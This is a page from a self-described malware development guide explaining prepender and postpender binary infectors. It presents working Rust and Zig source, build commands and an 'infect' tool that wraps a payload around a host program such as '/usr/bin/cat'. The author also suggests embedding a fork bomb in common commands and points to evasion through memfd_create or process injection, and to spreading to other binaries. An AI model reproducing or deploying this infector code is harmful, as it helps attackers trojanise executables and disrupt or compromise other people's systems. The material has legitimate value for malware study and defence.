> For the complete documentation index, see [llms.txt](https://arachn3.gitbook.io/malware-development-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://arachn3.gitbook.io/malware-development-guide/basic-malware/prependers-and-postpenders.md).

# Prependers and Postpenders

What's a *prepender* you ask? Well, at the time of writing this section, I found an article by [@guitmz](https://github.com/guitmz) titled: [**"Linux.Fe2O3: a Rust virus"**](https://www.guitmz.com/linux-fe2o3-rust-virus/) while looking for malware written in Rust (PoC mostly). This is where I encountered the term "prepender". As the name suggests the program aims to pre-append something to something. Long story short, it's essentially a kind of binary-infector/code-injector. A prepender injects some binary instructions at the *beginning of the program*, while a postpender would inject the same at the *end of the program.* Sounds lame, but it can really do some damage if paired with other types of malware.

Anyways, this is a nice bit of insight on how one may inject binary instructions into an executable (not quite *that* since we're literally just placing them on one side of the executable rather than actually injecting them) and cause it to do all kinda cool stuff. You can probably compile a fork bomb and inject those instructions straight into something common like `cat` or `explorer.exe` and enjoy the show! Every time the user would try and use these basic commands, their systems would hang/crash.

As [@guitmz](https://github.com/guitmz) mentions in his blog, *A prepender works by appending its code to the start of the host file, and during execution, it runs itself and the host file.* There're a lot of ways we could go about making a prepended program. It's usually useful to have a look at how stuff *could* be done before implementing an automated solution. Here are some of the approaches:

1. We could manually extract binary instructions from the target and payload executable files and hard code them into a single program, which can then be compiled and replace the target program.
2. As done in the blog, we could make a temporary file and then insert the payload's instructions first, followed by the target program's instructions. This can be run when we run the prepender program.
3. We could just prepend the payload instructions to the target, thus permanently changing/modifying the target (destructive approach)
4. Make a self-modifying program that uses some sort of shellcode-y approach to modify itself so as to integrate the target and payload instructions within itself and destroy itself once the program execution is done. (self-destructive program)

## The Concept

The infected binary structure looks like this:

```mermaid
flowchart TD
    subgraph Binary["Infected Binary"]
        P[Embedded payload bytes]
        H[Embedded host bytes]
        S[Stub code]
    end

    Binary --> E[On execution]
    E --> W1[Write payload to /tmp]
    W1 --> X1[Execute payload]
    X1 --> W2[Write host to /tmp]
    W2 --> X2[Execute host]
    X2 --> C[Clean up temp files]
```

For a **prepender**, the payload runs first then the host. For a **postpender**, the host runs first then the payload.

## Basic Implementation

Let's keep the target and payload programs simple:

```c
// payload.c
#include <stdio.h>

int main() {
    printf("INFECTED!!\n");
    return 0;
}
```

```c
// host.c (The target)
#include <stdio.h>

int main() {
    printf("Target executed\n");
    return 0;
}
```

Compile them:

```shell-session
$ gcc payload.c -o payload
$ gcc host.c -o host
```

### Rust Implementation

The key is using `include_bytes!` to embed the payload/host at compile time:

```rust
// Embed at compile time via environment variable
const PAYLOAD_BYTES: &[u8] = include_bytes!(env!("PAYLOAD"));
const HOST_BYTES: &[u8] = include_bytes!(env!("HOST"));
```

Then we need logic to write these bytes to temp files and execute them:

```rust
fn write_temp(name: &str, bytes: &[u8]) -> Option<PathBuf> {
    let path = PathBuf::from(format!("/tmp/.{}", name));

    #[cfg(unix)]
    {
        use std::os::unix::fs::OpenOptionsExt;
        let mut opts = OpenOptions::new();
        opts.create(true).write(true).truncate(true).mode(0o755);
        let mut f = opts.open(&path).ok()?;
        f.write_all(bytes).ok()?;
        f.sync_all().ok()?;
    }

    #[cfg(windows)]
    {
        let mut f = File::create(&path).ok()?;
        f.write_all(bytes).ok()?;
        f.sync_all().ok()?;
    }

    Some(path)
}

fn execute(path: &PathBuf) {
    let _ = Command::new(path)
        .spawn()
        .and_then(|mut c| c.wait());
}
```

The main function checks the mode and runs in the appropriate order:

```rust
fn main() {
    match MODE {
        "pre" => {
            run_payload();
            run_host();
        }
        "post" => {
            run_host();
            run_payload();
        }
        _ => {
            run_payload();
            run_host();
        }
    }
}

fn run_payload() {
    if let Some(path) = write_temp("payload", PAYLOAD_BYTES) {
        execute(&path);
        let _ = fs::remove_file(&path);
    }
}

fn run_host() {
    if let Some(path) = write_temp("host", HOST_BYTES) {
        execute(&path);
        let _ = fs::remove_file(&path);
    }
}
```

### Building

Build with environment variables:

```shell-session
$ PAYLOAD=/path/to/payload HOST=/path/to/host MODE=pre \
    cargo build --release --features embedded
```

Or use the `infect` CLI tool from the repo:

```shell-session
$ infect --payload ./payload --host ./host --output ./infected
$ ./infected
INFECTED!!
Target executed
```

For postpender mode:

```shell-session
$ infect --payload ./payload --host ./host --output ./infected --mode post
$ ./infected
Target executed
INFECTED!!
```

### Cross-Platform Support

The implementation handles both Linux and Windows. On Linux we use `OpenOptionsExt` to set the executable bit (mode 0o755). On Windows we just write the file since .exe permissions work differently.

Temp file paths also differ:

* Linux: `/tmp/.payload`, `/tmp/.host`
* Windows: `%TEMP%\payload.exe`, `%TEMP%\host.exe`

```rust
fn temp_path(name: &str) -> PathBuf {
    #[cfg(unix)]
    {
        PathBuf::from(format!("/tmp/.{}", name))
    }
    #[cfg(windows)]
    {
        let tmp = std::env::var("TEMP").unwrap_or_else(|_| ".".to_string());
        PathBuf::from(tmp).join(format!("{}.exe", name))
    }
}
```

## Cargo.toml

```toml
[package]
name = "prepender"
version = "0.2.0"
edition = "2024"

[features]
default = []
embedded = []

[[bin]]
name = "prepender"
path = "src/main.rs"

[[bin]]
name = "infect"
path = "src/bin/infect.rs"

[profile.release]
opt-level = 'z'
lto = true
codegen-units = 1
panic = 'abort'
strip = true
```

If you're curious about the release profile, check [this SO post](https://stackoverflow.com/questions/29008127/why-are-rust-executables-so-huge) and [this GitHub repo](https://github.com/johnthagen/min-sized-rust).

## The infect Tool

The repo includes an `infect` CLI that automates creating infected binaries:

```shell-session
$ infect --help
infect - create prepender/postpender binaries

Usage:
  infect --payload <file> --host <file> --output <file> [--mode pre|post]

Options:
  -p, --payload <file>  Binary to run as payload
  -h, --host <file>     Binary to run as host (original program)
  -o, --output <file>   Output path for infected binary
  -m, --mode <mode>     'pre' (default) or 'post'

Examples:
  infect -p ./malware -h /usr/bin/cat -o ./infected_cat
  infect -p ./logger -h ./app -o ./app_logged --mode post
```

It works by setting the environment variables and invoking `cargo build` with the `embedded` feature, then copying the result to your output path.

## Zig Implementation

There's also a Zig version in the repo. Zig makes this even cleaner since `@embedFile` works at comptime and the build system handles options nicely.

```zig
const std = @import("std");
const config = @import("config");

const payload_bytes = if (config.has_payload) @embedFile("payload") else "";
const host_bytes = if (config.has_host) @embedFile("host") else "";

pub fn main() !void {
    if (config.is_postpender) {
        try runHost();
        try runPayload();
    } else {
        try runPayload();
        try runHost();
    }
}

fn runEmbedded(bytes: []const u8, name: []const u8) !void {
    const path = try writeTempFile(bytes, name);
    defer std.fs.cwd().deleteFile(path) catch {};

    var child = std.process.Child.init(&.{path}, std.heap.page_allocator);
    _ = try child.spawnAndWait();
}
```

The `build.zig` handles passing payload/host paths as anonymous imports:

```zig
if (payload_path) |p| {
    exe.root_module.addAnonymousImport("payload", .{
        .root_source_file = .{ .cwd_relative = p },
    });
}
```

Build with:

```shell-session
$ cd zig
$ zig build -Dpayload=/path/to/payload -Dhost=/path/to/host -Doptimize=ReleaseSmall
$ ./zig-out/bin/prepender
INFECTED!!
Target executed
```

For postpender mode add `-Dmode=post`.

## Real-World Considerations

A few things to think about:

**Detection**: The temp file approach is noisy since AV can see files being written to `/tmp`. A more sophisticated approach would use `memfd_create` on Linux or direct process injection on Windows.

**Cleanup**: We remove the temp files after execution, but if the process crashes mid-execution they stick around. Could use a signal handler or `atexit` hook.

**Size**: The infected binary contains both payload and host bytes, so it's at least the sum of both sizes. For large hosts this gets obvious.

**Persistence**: This is a one-shot infection. For spreading to other binaries, you'd need to scan for targets and infect them too (that's what the original Fe2O3 virus does).

{% embed url="<https://github.com/ARaChn3/prepender>" %}

### References

* <https://www.guitmz.com/linux-fe2o3-rust-virus/>
* <https://security.stackexchange.com/questions/157946/injection-of-code-into-executable-size-question>
